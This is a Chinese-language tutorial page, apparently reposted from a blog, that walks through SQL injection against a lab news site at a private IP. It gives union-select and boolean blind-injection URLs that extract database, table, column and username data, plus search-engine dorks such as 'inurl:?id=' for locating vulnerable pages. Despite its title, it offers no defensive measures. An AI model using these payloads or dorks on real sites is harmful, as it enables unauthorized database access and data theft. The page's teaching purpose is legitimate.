欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > sql注入学习与防护

sql注入学习与防护

2024/10/25 0:34:14 来源:https://blog.csdn.net/m0_71332744/article/details/140653207  浏览:    关键词:sql注入学习与防护

一、SQL注入分类

SQL注入根据攻击方式的不同,可以分为以下几种类型:

  1. 数字型注入
  2. 字符型注入
  3. 报错注入
  4. 布尔盲注
  5. 时间盲注
  6. 联合查询注入
  7. 基于堆叠的查询注入

二、SQL注入流程

  1. 发现注入点
  2. 猜测字段数
  3. 确定显示字段
  4. 获取数据库信息
  5. 获取数据库中的表
  6. 获取表中的字段
  7. 获取字段中的数据
例子:

获取数据库名参考

  1. 字符限制:数据库的名字可以包含字母、数字、下划线和美元符号($)。但是,名字不能以数字开头。

  2. 大小写敏感性:在Windows系统上,MySQL数据库的名字默认是不区分大小写的。但在大多数Unix/Linux系统上,数据库的名字是区分大小写的。为了确保跨平台的兼容性,建议使用小写字母。

  3. 长度限制:数据库的名字最大长度为64个字符。

1.发现网站请求为get,如果存在注入点这里不会报错
http://192.168.10.111/news/show.php?id=-1 and 1=12.发现注入点后猜字段,逐一尝试猜测字段数
http://192.168.10.111/news/show.php?id=-1 order by 16
-- order by x 根据第x个字段排序,如果出现报错说明字段不存在3.发现不报错出现,并且出现的数值,为显示字段
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,154.脱库
//获取当前数据库
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15//获取数据库中的表,hex的作用是因为拼接后的字符串有‘,’会混淆
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schema='news'//获取表中的字段
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users

三、sql盲注:

构造真或者假的问题对数据库进行提问

寻找sql注入点

1.在url后添加   ’  如果报错说明有注入点

2.对数值型注入点可以进行减法

3.对在url后添加   and 1=2   如果没有正常显示,说明有注入点

例子:
-- 猜测数据库长度
http://192.168.10.111/news/show.php?id=46 and length(database())=4-- 或取当前数据库第二个字符
http://192.168.10.111/news/show.php?id=46 and substr(database(),2,1)='e'-- 获取news数据库中所有表名长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(table_name) 
from information_schema.tables where table_schema='news'))=98-- 获取表名字符串第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(table_name) 
from information_schema.tables where table_schema='news'),1,1)='n'-- 获取news库,news_users表中字段字符串的字符串长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'))=24-- 获取字段第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'),1,1)='u'-- 获取username字段中的信息长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(username) from 
news.news_users))=5-- 获取username字段的字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(username) fromnews.news_users),2,1)='d'

 

注:查找网站资源可使用hacking语法

inurl:?id=                url中存在:?id=

Intitle:admin            title中存在:admin

filetype:txt                查找网站中txt文件

site:www.baidu.com 在百度中查找

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com